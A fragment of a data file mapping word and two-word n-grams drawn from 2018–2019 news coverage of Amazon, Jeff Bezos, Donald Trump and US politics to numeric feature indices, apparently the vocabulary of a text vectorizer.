"stayed": 27754, "leads managers": 27755, "city colleges": 27756, "pre war": 27757, "dire threats": 27758, "sensitive topic": 27759, "boesken": 27760, "advantage think": 27761, "loans california": 27762, "don run": 27763, "woodard talk": 27764, "business complexities": 27765, "major cities": 27766, "disney working": 27767, "faison": 27768, "doorsteps": 27769, "sporting teams": 27770, "nonetheless earlier": 27771, "systemic": 27772, "mixed messages": 27773, "gou": 27774, "permissions": 27775, "livetradingnews": 27776, "nude pics": 27777, "taxpayers expense": 27778, "strong street": 27779, "diplomatic nonviolent": 27780, "politician hoping": 27781, "taxes called": 27782, "gained underscore": 27783, "making stuff": 27784, "omens narrates": 27785, "bazillion": 27786, "spirit early": 27787, "hasn explained": 27788, "heitkamp": 27789, "trump regarding": 27790, "everybodys robbing": 27791, "concerned trump": 27792, "161 times": 27793, "entrepreneur traveler": 27794, "permanency": 27795, "nok": 27796, "midwesterners": 27797, "signaled": 27798, "misleading claims": 27799, "lazy trump": 27800, "luxury brands": 27801, "caption rob": 27802, "dignitaries": 27803, "including massachusetts": 27804, "california church": 27805, "bezos decided": 27806, "contraception": 27807, "postpones meeting": 27808, "divorce happened": 27809, "ballet school": 27810, "chairman jack": 27811, "flatiron books": 27812, "chandon": 27813, "better sense": 27814, "mandatory vaccines": 27815, "tantalising": 27816, "office assault": 27817, "release data": 27818, "leafy campus": 27819, "cnbc explained": 27820, "political landscape": 27821, "fbi handle": 27822, "brutal conditions": 27823, "preexisting contracts": 27824, "sacramento": 27825, "5067014667001": 27826, "corporate boardrooms": 27827, "tech gadgets": 27828, "glamorous wife": 27829, "astonishing horrifying": 27830, "richard allan": 27831, "despite trump": 27832, "vucci": 27833, "making returns": 27834, "lamar": 27835, "human babies": 27836, "explicit nude": 27837, "vest pillpack": 27838, "owen debut": 27839, "delong scenes": 27840, "really set": 27841, "espousing liberal": 27842, "boycottwalmart wmt": 27843, "corporations george": 27844, "hubbard fear": 27845, "joining apple": 27846, "stockholm": 27847, "nypost richard": 27848, "fresh criminal": 27849, "read truthout": 27850, "videos bezos": 27851, "intermediaries consumers": 27852, "enable suttles": 27853, "relationship michael": 27854, "struggles": 27855, "owned fedex": 27856, "parody jenner": 27857, "offender registry": 27858, "malicious automation": 27859, "formally propose": 27860, "kept building": 27861, "aisle want": 27862, "afternoon light": 27863, "best nondocumentary": 27864, "theft stolen": 27865, "culture thought": 27866, "simple change": 27867, "illustration getty": 27868, "merits": 27869, "post essential": 27870, "data notice": 27871, "check employees": 27872, "black identity": 27873, "cayman": 27874, "poll reveals": 27875, "james cameron": 27876, "worryingly tied": 27877, "local economies": 27878, "meme shows": 27879, "father matt": 27880, "monopolytrump": 27881, "treasure tracker": 27882, "imploring": 27883, "professional service": 27884, "president enrique": 27885, "aggressive deadline": 27886, "hank everybody": 27887, "blamed partly": 27888, "pussy riot": 27889, "gigyashareelement attr": 27890, "supporters remained": 27891, "statement don": 27892, "wsj amazon": 27893, "neglected undimmed": 27894, "post gavin": 27895, "500 days": 27896, "class dining": 27897, "claim unsubstantiated": 27898, "pac contributions": 27899, "america progressives": 27900, "chair jerome": 27901, "shehan totally": 27902, "lower representation": 27903, "faster overall": 27904, "espite": 27905, "protecting": 27906, "remains noncommittal": 27907, "leadership conference": 27908, "inc_override_url null": 27909, "lehigh": 27910, "cecilia malmstr\u00f6m": 27911, "leagues": 27912, "thing doesn": 27913, "slide": 27914, "trillion revenues": 27915, "getinstance configobj": 27916, "interlocutor": 27917, "cultivator": 27918, "john bazemore": 27919, "cnl_calcaccesplact_content_content": 27920, "immutable copy": 27921, "break designed": 27922, "stolen material": 27923, "acquisition price": 27924, "long delayed": 27925, "host brian": 27926, "asked forbes": 27927, "reached congress": 27928, "afternoon high": 27929, "story women": 27930, "store attract": 27931, "cnn analyst": 27932, "twcnnp utm_medium": 27933, "parade": 27934, "2005": 27935, "peter suderman": 27936, "investment returns": 27937, "kornacki": 27938, "york things": 27939, "company succumbed": 27940, "rant essentially": 27941, "seller account": 27942, "joe mansueto": 27943, "giamatti": 27944, "helped contribute": 27945, "modi friend": 27946, "addiction highway": 27947, "baton": 27948, "offsety pagex": 27949, "apace": 27950, "offering price": 27951, "million deferring": 27952, "youngsters": 27953, "behavior erodes": 27954, "oppo attempt": 27955, "1bn": 27956, "client julie": 27957, "battle cnn": 27958, "journal felt": 27959, "right mind": 27960, "delivery donald": 27961, "nfl colin": 27962, "bathroom": 27963, "private attorneys": 27964, "wives marla": 27965, "8yrs": 27966, "nycsouthpaw": 27967, "chequered past": 27968, "voters elect": 27969, "book capital": 27970, "index xml": 27971, "seattle priest": 27972, "easiest place": 27973, "moderately popular": 27974, "holding thomas": 27975, "twitter gop": 27976, "worth diving": 27977, "frequency": 27978, "adjuncts getting": 27979, "1996 served": 27980, "plan suffered": 27981, "politically confusing": 27982, "ux": 27983, "ben graham": 27984, "essentially delaying": 27985, "adam kobeissi": 27986, "examined": 27987, "match power": 27988, "midterms pennsylvania": 27989, "making brazil": 27990, "making billions": 27991, "danny chau": 27992, "potential market": 27993, "partys far": 27994, "proven impossible": 27995, "billing scheme": 27996, "president apparently": 27997, "candidates worse": 27998, "work especially": 27999, "text private": 28000, "year finally": 28001, "maria ressa": 28002, "review processes": 28003, "2018 emmy": 28004, "yang says": 28005, "pete actually": 28006, "ashby": 28007, "members day": 28008, "miscalculating costs": 28009, "justifiably kill": 28010, "ago filed": 28011, "short message": 28012, "geoffrey james": 28013, "galore": 28014, "state moves": 28015, "shocking blackmail": 28016, "blasts critics": 28017, "weeks llc": 28018, "following reports": 28019, "wusa9 adding": 28020, "splc": 28021, "life dillon": 28022, "stopped trump": 28023, "roma alfonso": 28024, "fake reviews": 28025, "mcmaster trump": 28026, "toby recovers": 28027, "stinson": 28028, "direction pecker": 28029, "neorealism meets": 28030, "consultant": 28031, "estate mogul": 28032, "proposals posted": 28033, "paid position": 28034, "proof administration": 28035, "recep": 28036, "esports": 28037, "following disappointing": 28038, "wearing underwear": 28039, "week publish": 28040, "sanchez claim": 28041, "shoot army": 28042, "510 avenue": 28043, "1b workers": 28044, "putting money": 28045, "amazon robotics": 28046, "outsized premiums": 28047, "libya rival": 28048, "fox nutjob": 28049, "issue ignored": 28050, "place day": 28051, "unimportant": 28052, "perplexing events": 28053, "stop donald": 28054, "truck deliver": 28055, "intensive scrutiny": 28056, "18217174": 28057, "native born": 28058, "deporting families": 28059, "basically stopped": 28060, "business continuing": 28061, "story did": 28062, "debut conversations": 28063, "powell morgan": 28064, "decision according": 28065, "billions raising": 28066, "reality tv": 28067, "gain crude": 28068, "immorality": 28069, "worker boss": 28070, "hitting investigative": 28071, "resident trump": 28072, "louisville indianapolis": 28073, "translator": 28074, "realdonaldtrump": 28075, "deadly winter": 28076, "violations associated": 28077, "incomes 103": 28078, "blunt speech": 28079, "recipients": 28080, "intel nasdaq": 28081, "management llp": 28082, "amazon invincibility": 28083, "maiga": 28084, "362 staff": 28085, "total volume": 28086, "people organizing": 28087, "activists dhs": 28088, "maranh\u00e3o state": 28089, "accumulated wealth": 28090, "payday lending": 28091, "mail partially": 28092, "routine immunizations": 28093, "allegedly noted": 28094, "feminism": 28095, "regulated rates": 28096, "warning cost": 28097, "including greeting": 28098, "shorter wait": 28099, "product maker": 28100, "usabout": 28101, "oscar favorite": 28102, "took small": 28103, "president explaining": 28104, "employment declined": 28105, "cosmetics company": 28106, "plus 100": 28107, "received sweetheart": 28108, "president barbs": 28109, "force large": 28110, "ami demanded": 28111, "security kirstjen": 28112, "highest degree": 28113, "organizational": 28114, "questions related": 28115, "stop putting": 28116, "mackenzie interviewed": 28117, "largest quarterly": 28118, "rojas": 28119, "wsgr": 28120, "years built": 28121, "avoid overwhelming": 28122, "king according": 28123, "freewheeling conversation": 28124, "post pictures": 28125, "conservative party": 28126, "khosrowshahi wants": 28127, "ripple effect": 28128, "health naturally": 28129, "writer director": 28130, "socks mugs": 28131, "big behemoth": 28132, "market turmoil": 28133, "indian operations": 28134, "suppress mcdougal": 28135, "poor little": 28136, "dating sites": 28137, "boy alex": 28138, "story mcdonald": 28139, "opportunity time": 28140, "kathy acker": 28141, "going deep": 28142, "2020 democratic": 28143, "family noteworthy": 28144, "contractor worldwide": 28145, "comment houston": 28146, "punto pedro": 28147, "assert influence": 28148, "juliette binoche": 28149, "sit parked": 28150, "spectator continue": 28151, "listener": 28152, "numbering 260": 28153, "economic benchmark": 28154, "woo special": 28155, "2019": 28156, "really did": 28157, "2018 chile": 28158, "interests fit": 28159, "averting": 28160, "marriage trump": 28161, "business research": 28162, "toll forcing": 28163, "department roof": 28164, "protections bolsonaro": 28165, "patr onize": 28166, "water boiled": 28167, "tariffs political": 28168, "retail rattled": 28169, "houses live": 28170, "reach nearby": 28171, "conference jimmy": 28172, "criticizes white": 28173, "impeccable timing": 28174, "500 hours": 28175, "dinwiddie": 28176, "zombie outbreak": 28177, "collection nationwide": 28178, "better care": 28179, "favorite outdoor": 28180, "s\u00e1nchez revelation": 28181, "odd attempt": 28182, "day trip": 28183, "deemed unfair": 28184, "getting good": 28185, "given car": 28186, "smart play": 28187, "net positive": 28188, "exercise authority": 28189, "gas responsible": 28190, "laughing children": 28191, "today rielly": 28192, "skinned boeing": 28193, "iowa disparaged": 28194, "biggest cities": 28195, "sharply lower": 28196, "arrest shake": 28197, "districts based": 28198, "submitting thoughtful": 28199, "deal spanned": 28200, "portable high": 28201, "human emotion": 28202, "videocmsuri": 28203, "chinese investors": 28204, "man picture": 28205, "affairs host": 28206, "immediately deliver": 28207, "congenial": 28208, "claudette": 28209, "death eventually": 28210, "charged consumers": 28211, "1999 amazon": 28212, "margaret atwood": 28213, "lachlan": 28214, "charge proposal": 28215, "gop hot": 28216, "lotter": 28217, "amazon scout": 28218, "new stops": 28219, "contractor rockwell": 28220, "footprint": 28221, "allegedly imposed": 28222, "actively diversifying": 28223, "service sanders": 28224, "seasoned": 28225, "ofstamps": 28226, "quickly new": 28227, "nsu": 28228, "legislative affairs": 28229, "actor amazon": 28230, "console log": 28231, "told conference": 28232, "internal quotation": 28233, "pregnancy": 28234, "extended session": 28235, "employee compensation": 28236, "demise bezos": 28237, "americans wont": 28238, "excursion": 28239, "easily costs": 28240, "investigation federal": 28241, "government spending": 28242, "peterson threatens": 28243, "public ire": 28244, "publishing promise": 28245, "enquirer paid": 28246, "adelsons donate": 28247, "energies": 28248, "spins round": 28249, "burdened": 28250, "status 1014107259398512640": 28251, "attorney ebram": 28252, "communist r\u00e9gime": 28253, "patently": 28254, "chrysler building": 28255, "21st": 28256, "0kdlplqo2e mavy_florian": 28257, "brat makes": 28258, "semiconductor components": 28259, "including aws": 28260, "thomas piketty": 28261, "despite speculation": 28262, "remarkably": 28263, "risks political": 28264, "pricing method": 28265, "russia relations": 28266, "bridge carve": 28267, "untraditional ways": 28268, "utm_content business": 28269, "reformed size": 28270, "hice": 28271, "runaway success": 28272, "completion": 28273, "amazon fills": 28274, "debacle relating": 28275, "amazon 2016": 28276, "continued gavin": 28277, "sinister face": 28278, "university law": 28279, "index gained": 28280, "products seized": 28281, "members haven": 28282, "sleeves state": 28283, "nonprofit new": 28284, "inventive": 28285, "losing share": 28286, "pitched": 28287, "combines old": 28288, "tumble": 28289, "delivery reality": 28290, "value read": 28291, "hardly new": 28292, "attractive fashion": 28293, "publicly professed": 28294, "synagogue shooting": 28295, "avert catastrophic": 28296, "craf missions": 28297, "prominent conservative": 28298, "assortment widening": 28299, "community given": 28300, "personal finances": 28301, "prison feels": 28302, "digital alternatives": 28303, "pubg\u52df\u96c6 pubg\u30e2\u30d0\u30a4\u30eb": 28304, "members consumers": 28305, "battle underscores": 28306, "charged": 28307, "anticipate shopping": 28308, "contacted dr": 28309, "economists surveyed": 28310, "puffy": 28311, "reiterated": 28312, "service increase": 28313, "revenue providing": 28314, "block nancy": 28315, "satire white": 28316, "losing policy": 28317, "chuck says": 28318, "mccain hold": 28319, "simple math": 28320, "navy warships": 28321, "dig president": 28322, "backwards": 28323, "official amazon": 28324, "2018 donald": 28325, "doubling prices": 28326, "subscriber growth": 28327, "reportedbezos": 28328, "100 plus": 28329, "programmatically essentially": 28330, "energy agreements": 28331, "inspiring example": 28332, "happen massive": 28333, "mockumentary": 28334, "removed repeat": 28335, "carriers": 28336, "microsoft muckerman": 28337, "satanism": 28338, "era documentary": 28339, "retailer massively": 28340, "bison": 28341, "tonight semi": 28342, "perfect doesn": 28343, "announced big": 28344, "city kalorama": 28345, "darcy emails": 28346, "aclu study": 28347, "conversation cohen": 28348, "charitable program": 28349, "shelley murphy": 28350, "choices revealed": 28351, "hasn ended": 28352, "mediamatters org": 28353, "fix": 28354, "flood zones": 28355, "revealed natural": 28356, "house financial": 28357, "attract people": 28358, "substitute": 28359, "group elderly": 28360, "hdr despite": 28361, "activists fears": 28362, "albert": 28363, "200 daily": 28364, "alfresco": 28365, "party transportation": 28366, "showname anderson": 28367, "recently bernie": 28368, "papers": 28369, "bigger wynn": 28370, "forward": 28371, "amazon netflix": 28372, "story studies": 28373, "2016 pizzagate": 28374, "foods began": 28375, "paulareidcbs reports": 28376, "confirmation battle": 28377, "started taking": 28378, "yesterday amazon": 28379, "varied service": 28380, "omert\u00e0": 28381, "source fortune": 28382, "sessions initiate": 28383, "remembers republicans": 28384, "2018 cook": 28385, "near 806": 28386, "white supremacy": 28387, "messenger whatsapp": 28388, "unavoidable presence": 28389, "local infrastructures": 28390, "inciting riot": 28391, "morning technology": 28392, "events swirling": 28393, "stealing google": 28394, "anti faang": 28395, "hartnett": 28396, "haptic": 28397, "week court": 28398, "service parcel": 28399, "mcd rose": 28400, "bezos indicated": 28401, "nude photograph": 28402, "online environment": 28403, "10th anniversary": 28404, "long twitter": 28405, "emanu": 28406, "headquarters ocasio": 28407, "imperative": 28408, "jpg quality": 28409, "crazy growth": 28410, "week announcing": 28411, "allen spell": 28412, "isn subsidizing": 28413, "squeeze": 28414, "hockey": 28415, "trump face": 28416, "11s bezos": 28417, "commerce leader": 28418, "trump puppet": 28419, "lead crooks": 28420, "heating indoor": 28421, "business does": 28422, "large depreciation": 28423, "difference going": 28424, "theft bezos": 28425, "amazon candace": 28426, "fagan associates": 28427, "books suqar": 28428, "stock ticks": 28429, "2019twitter": 28430, "gaslighting": 28431, "necessary photo": 28432, "nicholas montegriffo": 28433, "uncoupling drama": 28434, "literally upped": 28435, "simons pre": 28436, "pachter managing": 28437, "opens door": 28438, "main audience": 28439, "child singer": 28440, "simple way": 28441, "global network": 28442, "elected rep": 28443, "prevalent": 28444, "paying package": 28445, "touching distance": 28446, "saying bezos": 28447, "years hope": 28448, "alleged texts": 28449, "economy slowed": 28450, "pope place": 28451, "jpg 300x200": 28452, "stores actually": 28453, "track routes": 28454, "11th welcome": 28455, "intel bucking": 28456, "meaningful level": 28457, "rewarded kavanaugh": 28458, "surrounding defense": 28459, "shoppers looking": 28460, "plummeting": 28461, "including lord": 28462, "anyother business": 28463, "deny user": 28464, "013": 28465, "proudly": 28466, "bad experience": 28467, "isbn number": 28468, "sanchez admits": 28469, "san diego": 28470, "pancake": 28471, "drama perfect": 28472, "deal poses": 28473, "a45 tiny": 28474, "towel shirtless": 28475, "issue regardless": 28476, "diane keaton": 28477, "unless parents": 28478, "spaces": 28479, "costs traffic": 28480, "proven policy": 28481, "argue chinese": 28482, "sparkly": 28483, "accept price": 28484, "militarism": 28485, "limit revenue": 28486, "plugable saying": 28487, "airplanes amazon": 28488, "areas": 28489, "cut year": 28490, "bug appeared": 28491, "says levine": 28492, "completely mia": 28493, "dawsey": 28494, "traffic shares": 28495, "including restrictions": 28496, "jonah": 28497, "house describes": 28498, "desire": 28499, "york joe": 28500, "cramer charitable": 28501, "fictitious global": 28502, "valley arsenal": 28503, "gmt black": 28504, "baring": 28505, "economy tech": 28506, "investigations team": 28507, "social gathering": 28508, "shooting cbs": 28509, "appeared investors": 28510, "helping make": 28511, "karem": 28512, "competitors stopping": 28513, "limits impact": 28514, "report using": 28515, "tech arguing": 28516, "bauer ethan": 28517, "carla gugino": 28518, "wmt sam": 28519, "given description": 28520, "trump resumed": 28521, "rationally": 28522, "times regularly": 28523, "lookin": 28524, "exit package": 28525, "forth texts": 28526, "passwords": 28527, "camilo": 28528, "fair publication": 28529, "lawyer martin": 28530, "local congress": 28531, "mean ending": 28532, "occurrences": 28533, "overpaying": 28534, "buildings nyc": 28535, "protect users": 28536, "trump leaves": 28537, "richest divorce": 28538, "announcing": 28539, "inst": 28540, "varied widely": 28541, "zone crazy": 28542, "documents covering": 28543, "2017 watch": 28544, "stuart": 28545, "dominance led": 28546, "brands incoming": 28547, "americans online": 28548, "gunfire began": 28549, "nation observed": 28550, "issuing boilerplate": 28551, "summer lists": 28552, "appropriate surcharge": 28553, "hearings read": 28554, "misleading information": 28555, "r\u00edo": 28556, "wcs": 28557, "letter ounce": 28558, "counter intelligence": 28559, "corporations government": 28560, "thank goodness": 28561, "shehan main": 28562, "city anable": 28563, "4q tailwinds": 28564, "love jeffbezos": 28565, "book gives": 28566, "mediaite previously": 28567, "deliberately keeps": 28568, "details complete": 28569, "called amazons": 28570, "owns independently": 28571, "painfully": 28572, "accidentally giving": 28573, "cnbc quotes": 28574, "mike": 28575, "offloading": 28576, "path make": 28577, "planet lungs": 28578, "terriers": 28579, "cortez youth": 28580, "issuing statement": 28581, "type jpg": 28582, "benjamin gordon": 28583, "days immediately": 28584, "suggested apple": 28585, "resist democrats": 28586, "probably did": 28587, "judicial pick": 28588, "offshoot theories": 28589, "bonds says": 28590, "vchn4mguwb": 28591, "chair presidential": 28592, "soon added": 28593, "faang biggie": 28594, "sharing years": 28595, "usps mailing": 28596, "polarising political": 28597, "2015 alleging": 28598, "culp allows": 28599, "numerous calls": 28600, "split protein": 28601, "usps self": 28602, "nbcnews abc": 28603, "initiative bri": 28604, "identified michael": 28605, "house feb": 28606, "words bezos": 28607, "reactions": 28608, "columnist based": 28609, "details parliament": 28610, "standard assemblywoman": 28611, "200 new": 28612, "asserts don": 28613, "tell jenniferjjacobs": 28614, "rocco": 28615, "rat": 28616, "information shares": 28617, "emblazoned": 28618, "campaign chief": 28619, "recently proposed": 28620, "samaritan": 28621, "constant threat": 28622, "bezos agreed": 28623, "street jeff": 28624, "populareconomics org": 28625, "program guide": 28626, "trump classy": 28627, "bora": 28628, "shutdown invoking": 28629, "need reid": 28630, "example 221670": 28631, "sink cain": 28632, "1990": 28633, "just shut": 28634, "subscribers hold": 28635, "greatest cause": 28636, "shipware": 28637, "linguistic": 28638, "automation space": 28639, "photos business": 28640, "judgejeanine tuckercarlson": 28641, "doj inspector": 28642, "important mineral": 28643, "intimate selfies": 28644, "american time": 28645, "fed official": 28646, "talks continue": 28647, "function u9": 28648, "secretly recorded": 28649, "border australia": 28650, "fractures": 28651, "blanche": 28652, "boasts trillion": 28653, "automatic machine": 28654, "today article": 28655, "bizarre political": 28656, "election spare": 28657, "amzn rose": 28658, "right carve": 28659, "\u014235billion": 28660, "inhumane treatment": 28661, "660": 28662, "affect rainfall": 28663, "dumps 100m": 28664, "var x2x": 28665, "college": 28666, "including leases": 28667, "know talked": 28668, "graham": 28669, "extremely rare": 28670, "globaldata says": 28671, "expect lot": 28672, "special access": 28673, "reuters lauren": 28674, "separately stephenson": 28675, "matt rutledge": 28676, "chat dennis": 28677, "faculties": 28678, "conservative rebellion": 28679, "trump mocked": 28680, "cost effective": 28681, "smita": 28682, "trapped forever": 28683, "smash brahminical": 28684, "lexington": 28685, "profits amazon": 28686, "amazon reconsidering": 28687, "sean blackmon": 28688, "role operating": 28689, "revenue expectations": 28690, "sells merchandise": 28691, "gilmore girls": 28692, "compilation": 28693, "tyle team": 28694, "pedroncelli": 28695, "expenses juggling": 28696, "presence near": 28697, "post wholly": 28698, "deferred sentence": 28699, "employees want": 28700, "traderstewie": 28701, "spokesperson called": 28702, "backfire": 28703, "scaretta": 28704, "represent new": 28705, "characterising divorce": 28706, "institute commerce": 28707, "bricker": 28708, "business interests": 28709, "shield": 28710, "opinion today": 28711, "2018 marketwatch": 28712, "barrier bolduan": 28713, "recent review": 28714, "atlanta mass": 28715, "ma comptroller": 28716, "instead retailers": 28717, "hasn addressed": 28718, "hang bags": 28719, "political spectrum": 28720, "intelligence chief": 28721, "years past": 28722, "analyst report": 28723, "run president": 28724, "plowed": 28725, "card lineup": 28726, "source aaron": 28727, "psychiatric problems": 28728, "boasts starry": 28729, "regularly threatened": 28730, "kubrick movie": 28731, "occ issued": 28732, "approval right": 28733, "jose calif": 28734, "regulating facebook": 28735, "blue wave": 28736, "cloud trend": 28737, "goodthreads men": 28738, "help kids": 28739, "amazon generation": 28740, "election victory": 28741, "financial disclosure": 28742, "surpassed expectations": 28743, "instituting price": 28744, "reimpose sanctions": 28745, "probe washington": 28746, "lobbying administration": 28747, "action previously": 28748, "gods available": 28749, "ex girlfriend": 28750, "chasm conservative": 28751, "change guns": 28752, "posted twitter": 28753, "afm cases": 28754, "meansfor": 28755, "private brands": 28756, "constant work": 28757, "tunney": 28758, "pocket costs": 28759, "finance allegations": 28760, "dominate large": 28761, "religious conservatives": 28762, "published intimate": 28763, "productive inquiry": 28764, "amazon refundable": 28765, "reputation read": 28766, "volatile": 28767, "years day": 28768, "silly ravpower": 28769, "did quote": 28770, "squarely focused": 28771, "bow tie": 28772, "aws line": 28773, "record trumpkins": 28774, "invites": 28775, "anti vaccination": 28776, "mueller studiously": 28777, "obtained texts": 28778, "unhappiness recently": 28779, "mccaskill": 28780, "country follows": 28781, "464 shares": 28782, "mayor tory": 28783, "ami board": 28784, "york owns": 28785, "views following": 28786, "community benefits": 28787, "behemoth bloated": 28788, "ellie higher": 28789, "markets exclusively": 28790, "straight days": 28791, "immigrated": 28792, "wrote fox": 28793, "oscars revolt": 28794, "simulate voices": 28795, "adviser advertising": 28796, "national trust": 28797, "startup": 28798, "project advancement": 28799, "adopted motto": 28800, "soon send": 28801, "shares fell": 28802, "bear amazon": 28803, "says uber": 28804, "ceo words": 28805, "harrowingly": 28806, "300 americans": 28807, "2017 river": 28808, "socially": 28809, "opportunityzones": 28810, "executive left": 28811, "fires minutes": 28812, "purchasable": 28813, "summer pending": 28814, "chancellor": 28815, "media merger": 28816, "fbiofficial having": 28817, "absolutely": 28818, "biggest retailer": 28819, "individual pieces": 28820, "413 million": 28821, "s\u00e1nchez news": 28822, "shares canada": 28823, "jail newsday": 28824, "publish news": 28825, "munificence": 28826, "threaten": 28827, "grant": 28828, "corporate targets": 28829, "accurate statement": 28830, "injure": 28831, "jonas valanciunas": 28832, "rush": 28833, "unanticipated": 28834, "amazon princesses": 28835, "couldn treat": 28836, "7207 source": 28837, "neck": 28838, "utter tragedy": 28839, "schiraldi hulu": 28840, "formally opened": 28841, "drivers amazon": 28842, "microsoft founder": 28843, "finance experts": 28844, "pell convicted": 28845, "story bringing": 28846, "taken minor": 28847, "wjlpcbis8u": 28848, "luck bezos": 28849, "harper neidig": 28850, "smith recently": 28851, "split second": 28852, "aggressive business": 28853, "market operations": 28854, "entire community": 28855, "safety crash": 28856, "warren campaigns": 28857, "aides politico": 28858, "a4ee o8": 28859, "petrol": 28860, "cell transplant": 28861, "company proves": 28862, "cohen plea": 28863, "longer leader": 28864, "rca software": 28865, "bezos techies": 28866, "upcoming sessions": 28867, "biggest banks": 28868, "federal election": 28869, "stocks dropped": 28870, "lebeau nightly": 28871, "going home": 28872, "salisbury": 28873, "regard whatsoever": 28874, "mortgage department": 28875, "provided beautiful": 28876, "aplenty": 28877, "amazon living": 28878, "2017 totaled": 28879, "says millions": 28880, "brutality": 28881, "sanders does": 28882, "religious moralists": 28883, "tongue elected": 28884, "underlying reasons": 28885, "fake listings": 28886, "arriaga": 28887, "proposals despite": 28888, "briefly took": 28889, "alabama tornadoes": 28890, "assisted housing": 28891, "prime act": 28892, "security conference": 28893, "evening sky": 28894, "france italy": 28895, "discuss inner": 28896, "register sensors": 28897, "imploding": 28898, "sex joked": 28899, "rep ocasio": 28900, "america dsa": 28901, "gabriela women": 28902, "amazon man": 28903, "author matthew": 28904, "resurged": 28905, "gmt polar": 28906, "elections arizona": 28907, "865 000": 28908, "tissue mass": 28909, "charts": 28910, "judges memoir": 28911, "giant leverages": 28912, "cybersecurity initiatives": 28913, "watch electric": 28914, "tough general": 28915, "pope cjr": 28916, "want abramowitz": 28917, "service thanks": 28918, "news media": 28919, "butterball": 28920, "management succession": 28921, "power schiff": 28922, "harm rivals": 28923, "scarborough smelled": 28924, "michael michael": 28925, "attorney": 28926, "actions certainly": 28927, "new type": 28928, "recent movie": 28929, "benefits accounted": 28930, "idc": 28931, "frank dvr": 28932, "letter include": 28933, "senate political": 28934, "kube": 28935, "divorce 101": 28936, "helped usher": 28937, "healthier 2019": 28938, "commerce sales": 28939, "year martin": 28940, "time shaving": 28941, "shiong": 28942, "party operators": 28943, "increasingly suspicious": 28944, "daintily": 28945, "new cnn": 28946, "motivated bezos": 28947, "173": 28948, "keepfamiliestogether": 28949, "amazon rare": 28950, "lk9f2htpng": 28951, "particular parts": 28952, "unit head": 28953, "voter fraud": 28954, "policies present": 28955, "match products": 28956, "associate": 28957, "need swing": 28958, "fundamentally tangential": 28959, "declared dead": 28960, "equipment purchases": 28961, "unexplored cave": 28962, "meet wall": 28963, "2011 combines": 28964, "day rally": 28965, "colbert book": 28966, "laureate": 28967, "hard amazon": 28968, "crushing regulation": 28969, "netflix shares": 28970, "btig": 28971, "city dwellers": 28972, "requires": 28973, "appearance usa": 28974, "grazing": 28975, "methods outfitting": 28976, "household": 28977, "starry night": 28978, "included 2018": 28979, "ovide": 28980, "daily basis": 28981, "crashed yesterday": 28982, "potentially shape": 28983, "campaign allegedly": 28984, "airport construction": 28985, "town mourns": 28986, "violence": 28987, "political reportage": 28988, "ostensibly protect": 28989, "ftc report": 28990, "balzac": 28991, "news topstories": 28992, "civilian worker": 28993, "face recession": 28994, "terner mnuchin": 28995, "sellers compete": 28996, "spokesman matthew": 28997, "facebook mission": 28998, "nymag status": 28999, "oligarch": 29000, "thumbimagelargesource": 29001, "audio record": 29002, "carla": 29003, "sure right": 29004, "care knowing": 29005, "benevolent association": 29006, "biggest": 29007, "hilary rosen": 29008, "search directly": 29009, "face virtually": 29010, "shop local": 29011, "withthese": 29012, "sound business": 29013, "earnings trade": 29014, "hired colocation": 29015, "treated conservative": 29016, "laurels": 29017, "mailing services": 29018, "king cnn": 29019, "playboy centerfold": 29020, "video israel": 29021, "singular talent": 29022, "media fawning": 29023, "special mojo": 29024, "fizzled unexpectedly": 29025, "potentially opening": 29026, "amazon mothers": 29027, "flatly": 29028, "reuters file": 29029, "report assault": 29030, "corruption masquerading": 29031, "rodrigues pozzebom": 29032, "justice national": 29033, "insignificant time": 29034, "citizen outreach": 29035, "amendment violations": 29036, "rights organizations": 29037, "era officials": 29038, "expected fiscal": 29039, "knowingly lied": 29040, "zoo season": 29041, "lean heavier": 29042, "things play": 29043, "clearance says": 29044, "blaming amazon": 29045, "thieves bolsonaro": 29046, "newstoday usatoda": 29047, "cushman": 29048, "wasserstein": 29049, "ratio": 29050, "bi jabong": 29051, "tentative bursts": 29052, "sgn slashed": 29053, "dig deeper": 29054, "stockman tx": 29055, "weather trump": 29056, "printing machine": 29057, "casey ashby": 29058, "american amazon": 29059, "ceo subsequently": 29060, "black manager": 29061, "regulated": 29062, "traders register": 29063, "story nick": 29064, "marillyn hewson": 29065, "sanchez leaked": 29066, "standards trump": 29067, "vision technology": 29068, "force started": 29069, "named nea": 29070, "era covering": 29071, "trump foreclosure": 29072, "house committees": 29073, "sank points": 29074, "luckin plans": 29075, "wasn authorised": 29076, "producer newfield": 29077, "alpha survey": 29078, "post articles": 29079, "kimball": 29080, "users circulated": 29081, "recently granted": 29082, "dread": 29083, "eurozone facebook": 29084, "trott bdt": 29085, "model looks": 29086, "103": 29087, "rating took": 29088, "maintained gpa": 29089, "boarding air": 29090, "involved company": 29091, "state observat\u00f3rio": 29092, "awaited word": 29093, "stop net": 29094, "decision rightly": 29095, "jurassic park": 29096, "simply nodded": 29097, "bring people": 29098, "cnl_custom_color 07017b": 29099, "driving truck": 29100, "common characteristics": 29101, "amazon websites": 29102, "federal lawmakers": 29103, "experience washington": 29104, "actively used": 29105, "sales post": 29106, "illinois washington": 29107, "assets 181003173251": 29108, "kinky game": 29109, "guide silent": 29110, "region ms": 29111, "person tweeted": 29112, "dominant legal": 29113, "nytimes writes": 29114, "published numerous": 29115, "asking price": 29116, "memo inside": 29117, "ultimately good": 29118, "amazon warehouse": 29119, "shares bluefin": 29120, "steel ford": 29121, "streamline": 29122, "democrat helped": 29123, "living hell": 29124, "supreme court": 29125, "court tl": 29126, "tapping assistance": 29127, "trump shortly": 29128, "responded need": 29129, "false cnl_custom_article_footer": 29130, "connecting": 29131, "chinese exports": 29132, "express service": 29133, "feeling florence": 29134, "hutchinson": 29135, "ex goldman": 29136, "special advisor": 29137, "municipalities": 29138, "poorer": 29139, "software giant": 29140, "repatriated foreign": 29141, "transacting": 29142, "country road": 29143, "wagyu": 29144, "monetary value": 29145, "providing postal": 29146, "british sun": 29147, "released yelp": 29148, "unbiblical": 29149, "plus 000": 29150, "boeing microsoft": 29151, "site splinter": 29152, "synergy": 29153, "email organization": 29154, "miles away": 29155, "getty_1126502092_387831 jpg": 29156, "dc2b": 29157, "therapist": 29158, "conning holds": 29159, "john krasinski": 29160, "lewinksy": 29161, "3rd": 29162, "climate ocasio": 29163, "office hasn": 29164, "private jet": 29165, "saks": 29166, "entrepreneursto": 29167, "costumes started": 29168, "bigger cost": 29169, "important recent": 29170, "gas leaks": 29171, "inc_headline patagonia": 29172, "account managers": 29173, "hearing environment": 29174, "communities amazon": 29175, "liberal": 29176, "forces exactly": 29177, "quite hit": 29178, 